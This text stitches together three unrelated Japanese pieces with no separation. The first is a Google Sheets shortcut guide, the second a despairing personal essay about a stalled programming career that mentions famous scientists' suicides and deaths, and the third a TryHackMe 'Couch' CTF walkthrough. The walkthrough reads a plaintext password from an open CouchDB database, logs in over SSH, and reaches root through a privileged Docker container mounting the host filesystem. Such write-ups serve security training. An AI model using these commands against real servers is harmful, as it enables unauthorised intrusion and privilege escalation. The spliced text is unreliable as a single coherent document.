![Google スプレッドシート.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/0b0fdf93-4df8-7fd2-f752-90c37502280c.png)

:::note info
IMEの設定変更しないと使えません。
設定は簡単なのでやってみてください！
[設定方法](https://orekoreoku.com/row-selection/)
:::


# 検索と置換
検索(Ctrl+F)は使っている人多いと思いますが、「検索と置換」は全てのシートを対象に検索できます。さらに置換も同時にできちゃいます！

| OS | ショートカットキー |
|:-:|:-:|
| Windows |Ctrl+H |
| Mac |⌘+Shift+H |

![Google スプレッドシート.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/7098443b-b3ea-3f08-5263-ef3b32945801.png)

# 範囲へコピー
地味に使える範囲コピー！
一般的なコピーは、コピー(Ctrl+C)⇒コピー範囲選択⇒貼り付け(Ctrl+V)の流れですよね。
「範囲へコピー」は、範囲選択⇒Enterでコピーができちゃいます！
※コピー元から隣接しているセルにしか貼り付けできない

| OS | ショートカットキー |
|:-:|:-:|
| Windows |Ctrl+Enter |
| Mac |⌘+Enter |

**1.範囲選択**
![Google スプレッドシート.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/1b4493f8-83a7-7ae6-4abf-ccbd1b44af99.png)
**2.範囲へコピー**
![Google スプレッドシート.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/89d1cc25-b2d6-c895-3c87-2259509b9a49.png)

# 開く
ドキュメント探す時にめちゃくちゃ使います！

| OS | ショートカットキー |
|:-:|:-:|
| Windows |Ctrl+O |
| Mac |⌘+O |

![名称未設定のデザイン.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/b02320f3-2f1f-7ae7-6fda-56405f33b814.png)

# 一般的なキーボード ショートカットを表示
あのショートカットキーなんだっけ？って時に便利！スプレッドシート上でショートカットキーを調べることができます。

| OS | ショートカットキー |
|:-:|:-:|
| Windows |Ctrl+/ |
| Mac |⌘+/ |

![Google スプレッドシート.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/cc90f737-033a-ebc7-7a12-a4a16fcb0c4a.png)

# 入力ツールを選択
使用頻度の高い入力ツール。
ショートカットキーで選択ができちゃいます！

| OS | ショートカットキー |
|:-:|:-:|
| Windows |Ctrl+Alt+Shift+K |
| Mac |⌘+Option+Shift+K |

![Google スプレッドシート.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/f7e7871e-6915-15f6-e3fe-c70372cb02b2.png)

# 範囲を表に変換
ショートカットキーで簡単表作成！

| OS | ショートカットキー |
|:-:|:-:|
| Windows |Ctrl+Alt+T |
| Mac |⌘+Alt+T |

**項目を作成**
![Google スプレッドシート.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/cdf9704c-a6cc-f265-b810-b6041a6cadfb.png)

**表に変換**
![Google スプレッドシート.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3148670/aaba6849-667a-c48d-6fcf-9a3926cdd95d.png)

# 最後に
ショートカットキーは種類が多くて覚えるのが大変ですよね。でも大丈夫です！忘れてしまっても都度調べて使えば、自然と体が覚えていきます。諦めずに少しずつ挑戦していきましょう！
次回は「セルの書式設定」について、私が厳選したショートカットキーを紹介します。どうぞお楽しみに！

# 参考資料

https://support.google.com/docs/answer/181110?sjid=14331354766307305260-AP&co=GENIE.Platform%3DDesktop&oco=1#zippy=%2Cmac-%E3%81%AE%E3%82%B7%E3%83%A7%E3%83%BC%E3%83%88%E3%82%AB%E3%83%83%E3%83%88
数学、論理学、計算機科学は形式科学。

数学、論理学、計算機科学は、形式科学(formal science)と言って、自然科学とは違うものです。
どうもなんか違うと思っていた。Geminiに聞いてわかりました。
形式科学は、formalismとsemanticsのバランスを取るのが肝心。
世間の皮肉がきついので、逃げ出したい気分です。
コードが書けなくなった。人的邪魔が入って。生成AIが代わりにコードを書くというのも大きい。MOSバーガーは6502のMOS Technologyから取ったものらしいです。もっとゆるくやりたい。コンピュータの師匠に連絡を取りました。プログラミング言語設計をしていましたが、人に使われるときついですね。師匠「趣味が仕事になったら大変でー。」本当に、プロの人たちはアマチュアと違うと思います。個人研究は蔑視される、社会的ステータスが価値とされる世の中ですが、SINETなどにはアクセスが出来ないので。今は動けないです。師匠は今75歳。
不思議の国のアリスは数学者、チャールズ・ラトウィッジ・ドジソンと知り合いでしたが、僕にもmentorがいた。今は昔、友人だと思っていた人はNTT、富士通、NECなどに就職していますが、僕は社会的生命が絶たれて、クライシス。インタプリタ、コンパイラの高級言語をやりたいと思っていたら、アセンブラをやることになって・・・。結局、何が価値のあるものかを見失っています。かと言って、哲学などをやる気にもなれず。このまま滅びていくのかも知れません。計算機科学、アラン・チューリングは自殺した。論理学、クルト・ゲーデルは精神病院で餓死した。集合論、カントールも晩年次第に精神を病み、サナトリウムでこの世を去った。自分はそういう天才たちとは違うと思うけど、なんとかやってきたつもり。不運が襲い、先が見えない。12,3歳のときにコンピュータを始め、45年経つ。過去を信じれば良いのか、未来を信じれば良いのか、それとも全くの絶望か。一寸先は闇。お先枕。何をやっても一定数批判があるということらしいから、どうせなら良いことをやりたいのですけれど、そういうことほど競争が激しくて、もう、疲れました。色々研究をやらされた。某ビューローで。自分でやってたこともありますが、使われるときつい。童心に帰りたいです。初心忘るるべからずですね。時流れ友の流れて走馬灯
【TryHackMe】Couch：Walkthrough

# 概要

TryHackMe「Couch」のWalkthroughです。

https://tryhackme.com/r/room/couch

# Task1

## **Q1**.*Scan the machine. How many ports are open?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.42.53 -oN nmap_result
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA)
|   256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA)
|_  256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (ED25519)
5984/tcp open  http    CouchDB httpd 1.6.1 (Erlang OTP/18)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.2p2|
|5984|http|CouchDB httpd 1.6.1|

**A**.**2**

## **Q2**.*What is the database management system installed on the server?*

**A**.**couchdb**

## **Q3**.*What port is the database management system running on?*

**A**.**5984**

## **Q4**.*What is the version of the management system installed on the server?*

**A**.**1.6.1**

## **Q5**.*What is the path for the web administration tool for this database management system?*

**A**.**_utils**

## **Q6**.*What is the path to list all databases in the web browser of the database management system?*

**A**.**_all_dbs**

## **Q7**.*What are the credentials found in the web administration tool?*

`/_all_dbs`でDB一覧を表示します。

```
$ curl http://10.10.42.53:5984/_all_dbs        
["_replicator","_users","couch","secret","test_suite_db","test_suite_db2"]
```

`secret`データベースが怪しいのでドキュメント一覧を取得します。

```
$ curl http://10.10.42.53:5984/secret/_all_docs
{"total_rows":1,"offset":0,"rows":[
{"id":"a1320dd69fb4570d0a3d26df4e000be7","key":"a1320dd69fb4570d0a3d26df4e000be7","value":{"rev":"2-57b28bd986d343cacd9cb3fca0b20c46"}}
]}
```

見つかったIDのデータを取得すると、`atena`の認証情報を取得できました。

```
$ curl http://10.10.42.53:5984/secret/a1320dd69fb4570d0a3d26df4e000be7
{"_id":"a1320dd69fb4570d0a3d26df4e000be7","_rev":"2-57b28bd986d343cacd9cb3fca0b20c46","passwordbackup":"atena:t4qfzcc4qN##"}
```

**A**.**atena:t4qfzcc4qN##**

## **Q8**.*Compromise the machine and locate user.txt*

**Hint**.*It is very important to reuse passwords.*

得られた認証情報でSSH接続に成功しました。

```
$ ssh atena@10.10.42.53
atena@ubuntu:~$
```

`/home/atena/user.txt`からユーザーフラグを入手できました。

```
$ cat user.txt 
THM{1ns3cure_couchdb}
```

**A**.**THM{1ns3cure_couchdb}**

## **Q9**.*Escalate privileges and obtain root.txt*

`.bash_history`を確認すると、dockerコンテナを起動していることが分かります。

```
atena@ubuntu:~$ cat .bash_history

(省略)

docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
```

同じコマンドを実行するとコンテナ内のroot権限を得られました。

```
$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
/ # whoami
root
```

ルートフラグファイルを検索すると`/mnt/root/root.txt`にあることが分かりました。

```
# find / -name *root.txt* 2>/dev/null
/mnt/root/root.txt
```

`/mnt/root/root.txt`からルートフラグを入手できました。

```
# cat /mnt/root/root.txt
THM{RCE_us1ng_Docker_API}
```

**A**.**THM{RCE_us1ng_Docker_API}**